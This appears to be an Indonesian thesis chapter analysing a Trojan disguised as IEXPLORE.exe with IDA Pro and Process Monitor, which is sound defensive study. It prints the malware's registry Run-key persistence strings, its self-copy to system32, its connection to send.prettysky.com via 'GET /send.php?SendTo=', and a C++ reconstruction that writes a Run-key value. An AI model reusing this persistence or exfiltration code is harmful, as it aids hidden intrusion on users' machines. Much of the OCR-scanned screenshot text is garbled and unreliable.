BAB IV
IMPLEMENTASI DAN PEMBAHASAN SISTEM

4.1. Implementasi
4.1.1. Menginstal Tools Analisis Malware pada SO

Windows
Beberapa tools yang akan diinstall untuk proses

analisis Malware antara lain:
a. Instalasi Ida-pro Disassembly
1. Klik setuplda-pro.exe kemudian akan tampil

splash screen, kamudian klik next.
2. Pilih I accept the agreement, lalu klik next seperti

pada gambar 4.1
E Setup - IDA Pro Free v5.0 EHE'EJ

License Agreement
Please read the following important information before continuing. i
T

Flease read the following License Agreement. You must accept the terms of this
agreement before continuing with the installation.

IDA Pro Freeware 5.0 Y

This Free version of 1DV Prois licensed to vou For non-commercial
use, Commercial use requires a normal IDA Pra license,

This license restriction supersedes other provisions in the standard
IDA Pro license below,

The ID& Pro computer programs, hereafter described as "the software”

are licensed, not sald, to vou by Hex-Ravs S pursuant ko the

terms and conditions of this Agreement, Hex-Raws SA reserves any

right nok expressly granted to you. You own the media on which the b

@1ac

()1 do not accept the agresment

[ < Back ” Mext = ] [ Cancel ]

Gambar 4.1 kotak pilihan license
3. Masukan lokasi dimana file - file Ida-pro akan

diinstal. Ida-pro secara default akan terinstall
pada folder C:\Program Files\IDA Free, klik next
untuk melanjutkan seperti ditunjukkan pada

gambar 4.2.



b.

& Setup - IDA Pro Free ¥5.0

Select Destination Location :
‘Where should IDA Pro Free w5.0 be installed? e
[

-;_J- Setup will inskall IDA Pro Free +5.0 into the Following Folder.

To continue, click Mext, IF vou would like bo select a different Folder, click Browse,

CProgram Files\IDA Free

At least 23.8 MB of free disk space is required.

[ < Back ” Mext = l[ Cancel ]

Gambar 4.2 kotak pilihan lokasi install
4. Beri centang pada checkbox Create a desktop

icon, klik next
5. Klik install, untuk mulai menginstal Ida-pro.
Instalasi RegShot
Regshot merupakan aplikasi fortable, dan tidak
membutuhkan proses instalasi seperti yang dilakukan
pada tool Ida-pro. Untuk menjalankan regshot klik file

Regshot.exe. Tampilan regshot ditunjukkan pada

gambar 4.3.



Regshot 1.8.3-beta?

Compare logs save as:

3 Plain TXT () HTML document

[ istshor

[ 1Scan diri[;dirz;dirs; ... ;dir nn]:

Cukput pakh: [ ik ]
| DO LME ~— 1 adrint Lo, | E] T |
aodd comment inko the log:

| | | English e |

Gambar 4.3 tampilan tool regshot

=/ Process Monitor - Sysinternals: www.sysinternals.com
File Edit Ewent Filker Tools Options Help

EE 4A4BE  <TaA&G  E

g5 | (2B

Time...  Procesz Hame FID Operation

1:54:1... _,J Ewplorer EXE 1632 ﬁHegEIDseKey
1:54:1... _,J Ewplorer EXE 1632 ﬁHegEIDseKey
1:54:1... _,J Ewplorer EXE 1632 @ ReqlClosekey
1:54:1... _,J Ewplorer EXE 1632 ﬁHegEIDseKey
1:54:1... _,J Ewplorer EXE 1632 ﬁHegEIDseKey
1:54:1... _,J E=plarer. EXE 1632 ﬁHegEIDseKey
1:54:1... _,J Ewplorer EXE 1632 ﬁHegEIDseKey
1:54:1... _,J Ewplorer EXE 1632 ﬁHegEIDseKey
1:54:1... _,J Ewplorer EXE 1632 ﬁHegEIDseKey
1:54:1.. _:J Explarer. EXE 1632 ﬁHegElDaeKey
1:54:1... _,J Ewplorer EXE 1632 ﬁHegEIDseKey
1:54:1... _,J Ewplorer EXE 1632 ﬁHegD penk.ey

Path

HECUMS oftwarehClasses
HECUMS oftwarehClasses
HECUMS oftwarehClasses
HECUMS oftwarehClasses
HECUMS oftwarehClasses
HECUMS oftwarehClasses
HECUMS oftwarehClasses
HECUMS oftwarehClasses
HECUMS oftwarehClasses
HECUAS oftwarehClaszes
HECUMS oftwarehClasses

HELkMS oftwarehhdicrosofth COM 3

1:54:1... _JJEHIZJDFE[.EXE 1632 ﬁHegDuer}l\-"alue HELRMMSOFTWARE Microsoft\COMIMNREGDEY er

1:54:1.. _,J Explarer. EXE 1632 ﬁHegEleeKey HELM4YSOFTwWARE \MicrosaftCOM3

1:54:1... _,J Ewplorer EXE 1632 ﬁHegDpenKey HELkMS oftwarehhdicrosofth COM 3

1:54:1... _JJEHIZJDFE[.EXE 1632 ﬁHegDuer}l\-"alue HELRMMSOFTWARE Microsoft\COMIMNREGDEY er

1:54:1... _,J Ewplorer EXE 1632 ﬁHegEIDseKey HELRMMSOFTWARE \Microsaft\COM3

1:54:1.. _,J Ew=plorer. EXE 1632 ﬁHegDueryKey HECUNS oftwarehClasses

1:54:1... _,J Ewplorer EXE 1632 ﬁHegDpenKey HECUMS oftwaresClasses\CLSIDYEDG29351-6F 31
ir

1.C4.4 el AT R niatal .&n--n--..v-.. [N I I I A [l Tt T = B i a Nt N I Ia R R I

< >
Showing 25,073 of 61,057 events (41%) Backed by virtual memory

W

Gambar 4.4 tampilan tool process monitor



c. Process Monitor
Process Monitor merupakan aplikasi fortable,

dan tidak membutuhkan proses instalasi seperti yang
dilakukan pada tool Ida-pro. Untuk menjalankan
regshot klik file procmon.exe. Tampilan process

monitor ditunjukkan pada gambar 4.4.

4.1.2. Mencari file Malware Trojan

Mencari file Malware Trojan dapat dilakukan dengan

mengikuti langkah - langkah seperti di bawah ini :

1. Jika nama file Malware menyerupai nama file
program yang ada pada sistem operasi, maka file
yang dicurigai harus dibandingkan dengan program
asli dengan melakukan langkah - langkah sebagai

berikut :
a. Melihat properties dari kedua file, seperti pada

gambar 4.5 dan 4.6.



IEXPLORER.exe Properties

General | Compatibility

|IE><F'LCIFHEFI.eHe |

Type af file: Application

D escription: IEx<FLORER

Location: F:ATa_filesh3

Size: EO.O0 KB [E1.440 bytes]

Size on disk: E0.0 KB [E1.440 bytes]

Created: Today. December 11, 20015, 11:02:08 Pk
k4 odified: “wiednesday, Mowvember 12, 2014, 5:35:05 PR
Aocceszed: Today. December 11, 2015, 10:539:00 Pk
Attributes: [1 Hidden [1 Archive

[ DE. ] [ Cancel ]

Gambar 4.5 hasil properties dari file program yang
dicurigai

IEXPLORE.EXE Properties

General |"-.-"ersi0n Compatibility | Summary

é |IE><F'LEIFEE.E><E |

Type of file: Application

D escription: Internet E=plorer
Location: C:“Program Filez\lnternet Explorer
Size: 91.0 KB [93.184 bytes]

Size ondizk: 920 KB [94.208 butes]

Created: Tuesday, Map 05, 2014, 1:14:42 PR

k4 adified: Tuesday, April 15, 2002, 12:30:00 AR
Acceszzed: Today. December 11, 20015, 11:04:33 Pk
Attributes:

(] Hicter

[ Ok ] [ Cancel ]

Gambar 4.6 hasil properties dari file program yang
asli

b. Menggunakan md>5 checksum



4.1.3.

Untuk membandingkan struktur file dari file
program yang asli dengan file program yang

dicurigai maka digunakan tool md5 checksum,

seperti yang dltunjukkan pada gambar 4. 7

Gambar 4.7 membandingkan file menggunakan
md5sum

Dari kedua hasil perbandingan seperti pada
gambar 4.7, membuktikan bahwa file dengan
nama IEXPLORE.exe adalah bukan file yang asli
dan tidak lain adalah sebuah file Malware (Trojan)

Melakukan karantina terhadap file Trojan
Karantina dapat dilakukan pada sistem operasi yang

tidak kompatibel dengan file Trojan. Karena pada
penelitian ini objek Malware Trojan yang akan dianalisis
hanya komptibel pada sistem operasi windows, maka
karantina dapat dilakukan pada sistem operasi selain
windows, pada penelitian ini digunakan sistem operasi

linux. Proses sharing file dari linux ke windows



menggunakan virtualbox share ditunjukkan pada

gambar 4.8.

Add Shara

Folder Path: I!J’k:arantina_viruSItrﬂjan_1 hall

Folder Mame: |trc:jar'|_1 -

Read-only
Auto-mount

Make Permanent

Cancel . I O |

Gambar 4.8 sharing file Trojan dari linux ke windows

4.2. Pembahasan Sistem

4.2.1. Analisis statis
Analisis statis dilakukan dengan cara Disassembly

file binari Trojan. Proses disassembly dilakukan untuk
bisa mengetahui struktur program tersebut, sehingga
cara kerja Trojan tersebut dapat diketahui. Adapun

tahap yang dilakukan adalah :
a. Loading file Trojan ke dalam tool ida-pro disassembly seperti

ditujukkan pada gambar 4.9.



X]

Load a new file

Load file G:AIEXPLORE exe as
Portable executable for 80386 [PE] [pe.ldw

M5-005 executable [EXE) [dos |dw]
Binary file

Processor type

Intel B0xBR proceszors metapc L
_ Analyziz
Loading seqment | | Enahled
Loading offset | | Indizatar enabled

Gambar 4.9 proses load file Trojan IEXPLORE.exe

Gambar 4.9 menujukkan bahwa type file Trojan
IEXPLORE.exe adalah Portable executable for 80386. Dan

tipe PE 32.
Gambar 4.10, 4.11 dan 4.12 menunjukkan kode assembly

dari file Trojan IEXPLORE.exe setelah di-load ke dalam tool
Ida-pro disassembly. Kode assembly dapat ditampilkan
dalam bentuk struktur atau sesuai alur eksekusi program,

dan dapat juga ditampilkan dalam bentuk baris kode.



v I Lol | I R=To T o L= M AR I;qm TR | & B R=1] ] L=lu} LI_'I [BRE L UL LS b R ! m AL T ]

CODE : 884BERGD N SUBRODUDUTIMNE
CODE : 884BERGD

CODE: 8B4BB8G6E ; Attributes: bp-based frame
CODE : 84 BERGO

CODE : a4 BBEA6 0 public start
CODE : 9A4BB8G6H start proc near
CODE : 884 BBRGA
CODE : 884BBRGA var B8
CODE :884BBRGA var AC
CODE :884BBRGA var AR
CODE :0848B860 var_R4
CODE 00488860 var_RAO
CODE 08488860 var_9C
CODE 08488860 var_98
CODE 00488860 var_94
CODE 00488860 var_98
CODE 08488860 var_8C
CODE 08488860 var_ 88
CODE :0048B860 var_84
CODE 00488860 var_88
CODE 08488860 var_7C

dword ptr -8BBh
dword ptr -8ACh
dword ptr -8ABh
dword ptr -BA4h
dword ptr -BABh
dword ptr -2Ch
dword ptr -98h
duword ptr -94h
dword ptr -98h
dword ptr -BCh
dword ptr -88h
dword ptr -B4h
dword ptr -88h
dword ptr -7Ch

Gambar 4.10 kode assembly dari file IEXPLORE.exe
[l HesView-d | 88 Ewports | B Imports | M Names || 7#] Funchiors | " Stings|| B Stuctures | ER Enumg

: 6. 08868

: 00408868 loc_40B868:

: 6408868 ]

: 0BuABB6A 4

: B84 0B8RAC eCx

: 6L 0B86D short loc_40BB6S

: B4 0B86F ebx

: oy aB8740 esi

: 0BuAB871 edi

:A040B872 eax, offset dword L4OBROR

:0ouB877 sub_464CES

: 084 BB87C F Bax, edx

: 064088 7E ebp

: 0B ABB7F offset sub 480412

:A040B88L duord ptr fs:i[eax]

:Ba40B887 fsi[eax], esp

: 6040888 offset aRegisterservic ; “RegisterServiceProcs
. D64 AB8BF offset LibFileHame ; "KERHEL32.DLL"

Gambar 4.11 kode assembly dari file IEXPLORE.exe

)
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CODE:AG4BBCD loc 4BACD:
CODE : B@48BSCD sub_488F14

CODE : B84 88802 ds:byte 4BEQCC, al
CODE : 36406807 eck, offset a system ; ".5
CODE : 04 A880C eds, offset duord 4OC45Y

Gambar 4.12 kode assembly dari file [EXPLORE.exe

Setelah kode assembly didapatkan maka dilakukan
analisis terhadap kode tersebut. Pada gambar 4.10, 4.11 dan
4.12 terlihat aksi - aksi yang dilakukan oleh Trojan saat

pertama kali berjalan diantaranya:

1. Pada baris kode dengan alamat CODE:0040B860, seperti
pada gambar 4.10, program pertama kali dijalankan
dengan memanggil fungsi start, lalu baris berikutnya
berisi variabel lokal yang dimiliki oleh program. Fungsi
start sama dengan fungsi main pada program java dan

c++.
2. Pada baris kode dengan alamat CODE:0040B86F hingga

alamat CODE:0040B894 seperti pada gambar 4.11,
terlihat program memanggil library milik system operasi
windows vyaitu kernel32.dll menggunakan fungsi

LoadLibraryA. Library kernel32.dll adalah library milik



system operasi windows, library ini menyediakan fungsi
APl untuk manajemen memory, proses, input output file

dan lain-lain.
3. Pada baris kode dengan alamat CODE:0040B8D7 sampai

dengan alamat CODE:0040B8E6 program melakukan
pemanggilan fungsi sub_ 408E80 menggunakan perintah
assembly yaitu perintah call. Fungsi sub 408E80
menerima tiga buah parameter ketika dipanggil. Baris
kode assembly dari fungsi sub 408E80 ditunjukkan pada

gambar 4.12 .

a1 (Imw ] Rl L NEE
it | Hew Wiew-d éﬁ Exports % Imports | M Mames ¥ Functions | " Shings E[ c
TO0KOSESO 3 UL SUBROUT INE LI

-84 BBERA

-804 BRERA

tHB4B8ERA Sub_4BBERA proc near ; CODE
804 BBERD

:HB4BBERA push ebx

:BB4B8ES1 push esi

:BB4BRER2 mou esi, ecx

004 BBERY call sub_4083DF@

-84 BBEBRY mou ebx, eax
:B04B8ESDE push esi

:HBB4B8ERC push ebx

B84 BRERD call RegheleteKeyn
B84 B8ES2 push ebx

B84 BBED3 call RegCloseley @
- BB4BBEYS pop esi

B84 BREDD pop ebx

- 084 BBE?A retn
= I [15 [l b b Bngdn

Gambar 4.13 kode assembly dari fungsi sub_ 408E80

Kode yang terdapat pada fungsi sub 408E80 yang
ditunjukkan oleh gambar 4.13, Trojan akan menghapus

sebuah kunci registry pada windows. Jika dilihat dari



parameter yang diterima oleh fungsi sub 408E80, pada
parameter pertama yaitu pada alamat CODE:0040B8E1
dengan perintah mov eax 80000000h, dimana nilai
80000000h merupakan konstanta dari string
‘HKEY CLASSES ROOT’. sehingga dapat diketahui bahwa
Trojan akan menghapus sebuah kunci registry denga

nama .system di dalam registry ‘HKEY_CLASSES ROOT".

M| HewView-A | 38 Ewxports || B Imports | M Mames | 7] Functions | " Stings | &) Stuctures | E

CODE:AB4BB8ER push BFFh uiize
CODE : 984 8B8F A push offset Buffer 1pBuffer
CODE : B84 BEBFS call GetSystemDirectoryn
CODE:-AB4BB8FA push a ; bFaillfExists
CODE - 9848BEFC lea eax, [ebp+var_14]
CODE : B84 BBBFF mou edx, offset Buffer
CODE : B84 8B9 B4 mou ecx, 188h
CODE : 864889 B9 call sub_L483A9C
CODE : B84 BE2 AE 1ea eax, [ebp+var_14]
CODE:BB48B911 mov edz, offset dword_48Ch68
CODE: 88488916 call sub_483ADA
CODE : 984 BE21B mou eax, [ebp+var_14]
CODE:A86848B91E call sub_483CCE
CODE - 98488923 push eax : lpHewFileHams
CODE : B84 BB 2L 1ea edx, [ebp+var_18]
CODE - 8848B927 Xor edx, eax
CODE:AB848B8929 call sub_hB2784
CODE : BB4BE92E mou eax, [ebp+var_18]
CODE: 88488931 call sub_483CCE
CODE : 684 BB936 push eax ; 1pExistingFi
CODE:-AB48B8937 call CopyFilen
push ; bFailIfExistd

Gambar 4.14 kode assembly Trojan IEXPLORE.exe

4. Seperti pada gambar 4.14, baris kode dengan alamat
CODE:0040B8EB sampai dengan alamat CODE:0040B937,
Trojan menggunakan fungsi APl dari windows untuk
menggandakan dirinya ke dalam directory root system

operasi. fungsi - fungsi APl yang digunakan adalah



+ GetSystemDirectoryA adalah fungsi AP/ untuk
mengetahui root dari system, pada system operasi
windows root system berada pada directory

‘C:\windows\system32\’.
« CopyFileA adalah fungsi APl untuk menggandakan file

Trojan ke dalam file dengan nama yang berbeda.

Nama-nama file yang merupakan salinan dari Trojan
IEXPLORE.exe adalah SVCHOST.exe dan IEXPLORE.exe yang

akan tersimpan pada directory ‘C:\windows\system32\’.

b. Analisis fungsi

Analisis fungsi ditujukan untuk mempercepat proses
analisis, dikarenakan banyaknya fungsi fungsi yang terdapat
di dalam program yang sekiranya tidak perlu untuk
dianalisis. Untuk menemukan fungsi - fungsi apa saja yang
terdapat di dalam Trojan IEXPLORE.exe, maka digunakan
tool function milik Ida-pro. daftar fungsi - fungsi yang
terdapat di dalam Trojan IEXPLORE.exe ditujukkan pada

gambar 4.15 dan 4.16.



II _ R | e S | N | M. . S | et | o L B 2 T —

Segment Start Length R F L 5 B T
CODE 00401124 Q0000006 T
CODE Q040120 Q0000006 T
CODE 00401134 Q0000006 T
CODE Q040113C Qooaaaoe R T
‘EI] SusRedllocStinglen CODE Q0407144 Qooaaa0e R T
‘EI] SusFreeSting CODE Q040114C Qooaaa0e R T
"Lﬂ] Localdllac_0 CODE 00401188 Qoona00es R T
\Lﬂl LocalFres CODE 004011490 Qooaaa0e R T
‘EI] Wirtualdlloz CODE Q0401192 Qooaaa0e R T
"Lﬂ] VirtualFree CODE 00401140 Qooaa00es R T
\Lﬂl InitializeCriticalS ection CODE Q0401148 Qooaaaoe R T
‘EI] EnterCriticalS ection CODE Q0401180 Qooaaa0e R T
‘EI] LeaveCritizalS ection CODE Qodo11es Qooaaa0e R T
"Lﬂ] DeleteCriticalSection CODE Q04011C0 Qoona00es R T
‘EI] zub_4011C8 CODE Qo4011ce Qoooao4F R
.\'IFh b ANT A rnnF nnani™ e NNNNANNR 5]
Gambar 4.15 fungsi yang terdapat di dalam Trojan
LS tom MO W teen AT ] G SR )] g MR BN SIS ] T | T Snge ) R e

Function name Segment Start Length R FIL S B T
CODE )
CODE
CODE
CODE
CODE

CODE

CODE
CODE
CODE

Gambar 4.16 fungsi yang terdapat di dalam Trojan

Gambar 4.15 dan 4.6, menunjukkan beberapa fungsi
yang digunakan oleh Trojan adalah fungsi APl yang

disediakan oleh windows. Diantaranya :

Fungsi RegCloseKey
Fungsi RegOpenKey
Fungsi RegQueryValueEXA
Fungsi socket

Fungsi connect

Fungsi gethostbyname

ouUukwNE



fungsi API di atas adalah fungsi yang disediakan oleh
library system operasi windows untuk melakukan
manipulasi registry dan koneksi ke jaringan. Untuk
mempelajari fungsi di atas, maka dapat dibaca manual

yang disediakan oleh Microsoft.

c. Analisis string yang terdapat di dalam Trojan

IEXPLORE.exe

Analisis string dilakukan untuk mencari string-string
yang terdapat di dalam program Trojan IEXPLORE.exe.
karena string adalah type data yang dapat berisi suatu

informasi.

LS| IR YIEWRR | Jast] FIEX YIEWRR | £ ERPONE | Epp, IMPOME | 14 M4AM

Address Length T..  Shing
" CODE: 00409404 0000003 € send prethysky.com
"." CODE:004093E0 00000me  C GET /send php?5e

Gambar 4.17 string yang terdapat di dalam Trojan

Seperti pada gambar 4.17, terdapat string yang
berisi informasi nama domain, string ditunjukkan pada

tabel 4.1:



Tabel 4.1 tabel daftar string

Alamat String

CODE:004093C4 | Send.prettysky.com

CODE:004093EO0 GET /send.php?SendTo=

CODE:00409430 Host : send.prettysky.com

CODE:00409464 Info.prettysky.com

CODE:00409480 Host : info.prettysky.com

Dari daftar string pada tabel 4.1, menunjukkan
kemungkinan Trojan IEXPLORE.exe mencoba melakukan
koneksi ke jaringan luar, karena string di atas menunjukkan
sebuah nama domain. Gambar 4.18 menunjukkan kode
assembly secara lengkap ketika string digunakan oleh

sebuah fungsi di dalam program.



mov [ebp+name.sa_family], 2
ODE : 884891F1 push S8h s hostshort
ODE : 684091F3 call htons
ODE : 984891F3 mow word ptr [ebp+name.sa_data], ax
ODE - 884 891FF lea edx, [ebp+var_ 11AC]
ODE : 864892 BS mowv eax, offset aSend prettysky ; “send.prettysky.co
ODE : 664892 8A call sub_L4B8F48
ODE : 004892 BF mou eax, [ebp+uvar_11AC]
ODE : 68409215 call sub_483CC8
ODE : 89848921A push eax : Cp
ODE : 98489218 call inet_addr
ODE - 884892240 mow dword ptr [ebp+name.sa _data+2], eax
ODE : 88489226 push 18h ; namelen
ODE : 06489228 lea eax, [ebp+name]
ODE : 8848922E push eax s name
ODE : 884892 2F push ebx H
ODE : 88489238 call connect
ODE : 8489235 mou esi, eax
ODE : 06489237 push offset aGetSend php?se ; “GET /send.php?3SendTo="
ODE : 86489230 lea edx, [ebp+var_11B4]
ODE : 88489242 mou eax, ds:off_48D298
ODE : 00409247 call sub_489698
ODE : 98489240 push [ebp+var_11B4]
ODE : 98489252 push offset dword_ 409488
ODE : 08489257 lea edx, [ebp+uvar_ 11B8]
ODE : 8648925D mowv eax, [ebp+var_ 4]
ODE : 604092608 call sub_489698
ODE : 00489265 push [ebp+war_11B8]
ODE : 08489268 push offset dword_ 409418
ODE : 88489278 push offset dword_ 409424
ODE - 884 A9275 push offset aHostSend prett ; "Host: send.prettysky.cg
ODE : 8848927A push offset dword LO9454
ODE : 0648927F lea eax, [ebp+var_11B8]
ODE : 88489285 mnou edx, 8

Gambar 4.18 fungsi yang menggunakan string

prettysky.com

Dari kode assembly yang ditunjukkan oleh gambar
4.18, yaitu pada alamat CODE:004091E8 sampai dengan
alamat CODE:00409258, beberapa fungsi milik windows API

yang digunakan oleh program ditunjukkan pada table 4.2:

Tabel 4.2 tabel windows api



Fungsi Win32 API Library
WSAStartup Wsock32
Socket Wsock32
htons Wsock32
Inet addr Wsock32

Berdasarkan table 4.2, dapat disimpulkan Trojan
IEXPLORE.exe mencoba melakukan koneksi ke alamat
‘prettysky.com’, dan memanggil url
send.prettysky.com/send.php yang menggunakan fungsi

GET untuk mengirim suatu informasi.

Pada gambar 4.19 terdapat string yang berisi sebuah

informasi alamat registry.

D& Wiew-2 Hes igwed ?E Exparts % Imports| N Names \[ﬂ] Functions | " Stings ﬂ Shuctures | En Enums

Address Length T...  Shing

"' CODE:N040B074 ooooonzF C A

" CODE:0040C424 ooy C RegisterServiceProcess

"' CODE:0040C43C oooooooo - C KERMEL32DLL

" CODE:N040C44C oooooong - C aystem

" CODE:NN40C484 oooooons . shel

IO CIDE:(040C4EC 000000 L SOFTWARE Microsoftsiwind: unenitersionyhpoliciesiAE 4plorersFun
" CODE:NN40C4FC ooooooog - C SYCHOST

".* CODE:0040Ck04 000000ZE  C SOFTwWARE \Microsoft\WwWindows\\Curmentyersion\Run

" CODE:N040C534 oooooons . cttam

" CODE:0040CR3C nooos - C SOFTwARE Wicrazafthiindaws\\Curenty'ersion \RunS ervices
*." CODE:N040C574 0000oooe . el -2

", CODE:N040C580 oooooon . Thrrnbd ain

Gambar 4.19 string yang terdapat di dalam Trojan

Tabel 4.3 tabel string



Alamat String

CODE:0040C4B4 | Shell

CODE:0040C4BC

icies\Explorer\Run

CODE:0040C4FC | SVCHOST

CODE:0040C504

CODE:0040C534 | Ctfom

CODE:0040C53C

\Services

Proses analisis dilanjutkan dengan mengklik salah satu

string yang ada, gambar 4.20 menujukkan string tersebut di

inisialisasi  kedalam  variabel vyaitu pada alamat

CODE:0040C48C sampai dengan CODE:0040C53C

* CODE:
* CODE:

CODE:
* CODE:
* CODE:

CODE:
* CODE:
* CODE:
* CODE:
* CODE:

CODE:

ABLACHBA align &

B04BCUBC aSoftvarelicros db *SOFTWARE\Microsoft\Windows\CurrentUersionipolicies\ExploreriRun’,
0040C4BC ; DATA XREF: start+1B5to

ABLACHFC aSwchost db "SUCHOST',@ ; DATA XREF: start+1CBto

80460504 aSoftwareMicr_1 db *SOFTUAREAMicrosoft\Windows\CurrentUersion\Run’,@
0040C504 ; DATA XREF: start+1Dato

0640C532 align &4

AB4ACE3L aCtfom db ‘ctfom',B ; DATA XREF: start+1E6To

AB4AC53A align 4

004AC53C aSoftwareticy @ db ' SOFTWARE\Microsoft\Windows\CurrentUersion\RunServices',@
B84 BCEIC ; DATA XREF: start+1EBto

Gambar 4.20 code assembly dari string

Jika proses di konversi ke dalam bahasa

pemrograman level atas yaitu bahasa c++ maka akan

tampak seperti pada gambar 4.21

SOFTWARE\Microsoft\Windows\CurrentVersion\pol

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

SOFTWARE\Microsoft\Windows\CurrentVersion\Run




ar asoftwareMicros([] =
OFTWARE\Microsoft'\Windowsh\CurrentVersion\policies\Explorer
n.".";

2% aSychost() = “SVCHOST™;

ar aSoftwareMicr 1[] =
CFIWARE\Microsoft\Windows\CurrentVersion\Ban”:

ar aCtfom([] = “ctfom”:
Mt e Sttty

ar aSoftwareMicr O[] =
OFTWARFAMi mraanft i Wi ndnwsh MirrentWerai on\i BunServi rea™ -

Gambar 4.21 kode dalam bentuk bahasa c++

kode program pada gambar 4.21 menunjukkan
kemungkinan Trojan IEXPLORE.exe mencoba melakukan
manipulasi ke dalam registry windows ketika sedang di
jalankan. Gambar 4.22 menunjukkan proses ketika string

digunakan oleh sebuah fungsi di dalam program.

:B040BABE push 1

:B040BA10 nov ecx, offset aShell ; “shel
:B04BBA1S nov edx, offset aSoftwareMicro
804 BBA1A nov eax, 860000002h

;004 0BA1F call  sub 4OBEGC

:B040BA2Y push  offset dword 48C498
:B040BA29 push 1

:00408A2B nov eck, offset aSuvchost ; “3U
:B040BA30 mov edz, offset aSoftwareMicr_
- 0040BA35 nov eax, B0000082h

: B4 ABA3A call  sub 4OBEGC

:B040BA3F push  offset dword 4ACLIE
:0040BALY push 1

: 0040BALG nov ecx, offset aGtfom ; “ctfo
:B040BALB mov edx, offset aSoftvareMicr
:0040BASH nov eax, B00AAAAZh




Gambar 4.22 string dipanggil oleh fungsi

Pada gambar 4.21 yaitu pada baris kode dengan alamat
CODE:0040BA09 sampai dengan CODE:0040BA55
merupakan proses ketika string tersebut dipanggil oleh
fungsi yaitu fungsi sub 408EO0C. fungsi sub 408E0C

menerima 5 buah parameter diantaranya:

=

. Registry yang dituju.
2. Alamat sub registry yang dituju untuk membuat nilai

registry. Alamat sub registry ditunjukkan pada tabel 4.3.
3. Nama dari nilai registry yang dibuat, Seperti yang

ditunjukkan pada gambar 4.21 yaitu aShell, aSvchost,
aCtfmon.

Nilai 1

. Data yang akan dimasukan ke dalam registry. Data

v

ditunjukkan pada tabel 4.4
Tabel 4.4 tabel variabel dan data

Nama Variabel Data
dword 40C4A4 I[IEXPLORE.EXE
dword 40C490 SVCHOST.EXE

Setelah fungsi sub 408EOC menerima semua
parameter, lalu fungsi akan dieksekusi. Fungsi sub 408EQC
akan melakukan manipulasi nilai pada sebuah registry
menggunakan fungsi APl milik windows yaitu regCreateKey

dan regSetValue, fungsi sub 408EOC akan membuat nilai



berdasarkan parameter yang diterima. Kode assembly dari

fungsi sub_408E0C ditujukkan pada gambar 4.23.

CODE - aa4A88E BC
CODE : 98488E BC
CODE : 884 A8E 8D
CODE : aaLA8E BF
CODE : Aa4A8E18
CODE : Aa6488E11
CODE : 884 A8E12
CODE : AL A8E1L
CODE : A4 A8E16
CODE : A84A8E18
CODE : 98488E1B
CODE : H8LA8E2 A
CODE : aaLA8E22
CODE : 984 A8E23
CODE : A84A8E28
CODE : 86LA8E2E
CODE : AL A8E2E
CODE : AALA8E3 A
CODE : Aa4A8E32
CODE : 98488E37
CODE : 88LA8E3D
CODE : aaL4A8E3C
CODE - aa488E41
CODE : A4 A8EL2
CODE : 884 A8ELS
CODE : aaLA8ELA
CODE : aaLAG8ELB
CODE - aa4A8E4D
CODE - 8984088E4F
CODE : HALA8ES A
CODE : a4 A8ESA
CODE : 84 A8ES6

ebp

ebp, esp

ebx

esi

edi

edi, ecx
esi, edx
ebx, eax
eax, [ebp+arg_ 4]
sub_L4B3CEE
eax, eax

ebp

offset sub_ LOBE72
dword ptr fs:[eax]
fs:[eax], esp

edx, esi

eax, ebx

sub_LBBDCL

ebx, eax

eax, [ebp+arg 4]
sub_LB3ACE

eax ; chhata
eax, [ebp+arg_4]
sub_ L4B3CCE
eax

1

8

edi

ebx
RegSetUalueExA
ebx

lpDhata
duType
Reserve
lpUalue
hKey

hKey

Kode assembly dari fungsi sub 408E0C seperti
ditujukkan pada gambar 4.23 dapat diterjamahkan ke
dalam bahasa pemrograman level atas seperti c++.

Seperti ditunjukkan pada gambar 4.24.



h.cpp

1 #include <windows.h>
2 #include <iostream>
3 void fastcall sub 40BEOC(LPCTSTR aSoftwarelicros, LPCSTR aShell, int angka, LPCSTR val )

4H {

5 HKEY hKey;

6 DUORD dwDisposition;

7 LONG res = ReglreateeyEx(HKEY LOCAL MACHINE, aSoftwarelicros, ,IULL,0,KEY ALL ACCESS,NULL, &hKey,&dwDisposition};
=] if(duDisposition != REG_CREATED NEW_KEY & duDisposition '= REG_OPENED_EXTSTING_KEY ){
9 . stdsicout<<"terjadi error saat membuat key\n";

10 - }

11H else{

12 std:icaut<<"key berhasil dibuat\n";

13 LONG resp = RegSetValueEx(hKey, aShell, @, REG SZ, (BYTE*)val, strlen(val));
14H if(resp == ERROR_SUCCESS){

15 - stdiicoutcc "berhasil mengisi nilai pada key";

16 }

17H else {

18 - std:icoutcc "terjadi error saat mengisi nilai ke key":

19 - }

20 Reglloseley(hKey});

21 - }

22 -

238 int main(){

24 char aShell[] = "shell™;

25 char aSoftwareliicros[] = "SOFTWARE\\Microsoft\\liindows\\CurrentVersion\\policies\\Explorer\\Run";
26 (HAR iex[] = "IEXPLORER.EXE";

27 sub_40BEAC(aSoftwarelicros, aShell, 1, iex);

28}

Gambar 4.25 konversi fungsi sub_408EO0C ke c++

Dari hasil analisis menggunakan teknik disassembly
di atas, dapat disimpulkan bahwa Trojan IEXPLORE.exe
akan menggandakan diri ke dalam directory root windows
dengan nama SVCHOST.exe dan IEXPLORE.exe kemudian
mencoba melakukan koneksi ke domain prettysky.com dan

melakukan manipulasi registry.



4.2.2. Analisis Dinamis

Proses analisis dinamis dilakukan untuk mengetahui
tingkah laku Trojan ketika sedang berjalan pada lingkungan
system operasi, analisis dinamis akan dibagi menjadi dua

proses yaitu :

1. Proses sebelum eksekusi Trojan IEXPLORE.exe

Pada proses analisis statis yang dilakukan sebelumnya,
menunjukkan bahwa Malware Trojan mencoba melakukan
aksi manipulasi pada registry, yaitu menambahkan key shell,
svchost, dan ctfimon pada alamat registry
“SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explo

n

rer dan
“SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explo

rer\Run”.

Kedaan registry pada alamat tersebut ditjunjukkan

pada gambar 4.26.



& | Registry Editor

File Edit Wew Faworites Help
+-[_7] RegEdr3z A Mame Twpe Data

(3 saPT Layer (Default) REG_S2 {walue not sek)

#-(1 Sehedul=+ [R¥]MaDriveTypesut.,., REG_DWORD 0%00000051 (145)
L1 search assistant

[:| Security Center
2 shared
+-{_] Shared Tools
[ Speech
+-[_7] SvstemCertificates
+-_] Web Service Providers
=27 wWindows
= D CurrentVersion
Cl App Management
+- 7 Applets
[Z2 Controls Folder
+-[_7 Explarer
+ ] Ext
Cl Extensions
+- 7 Group Policy
+-{_] GrpCony
2 Intermet
+ D Inkternet Setkings
=-{771 Policies

Gambar 4.26 Keadaan registry sebelum eksekusi Trojan
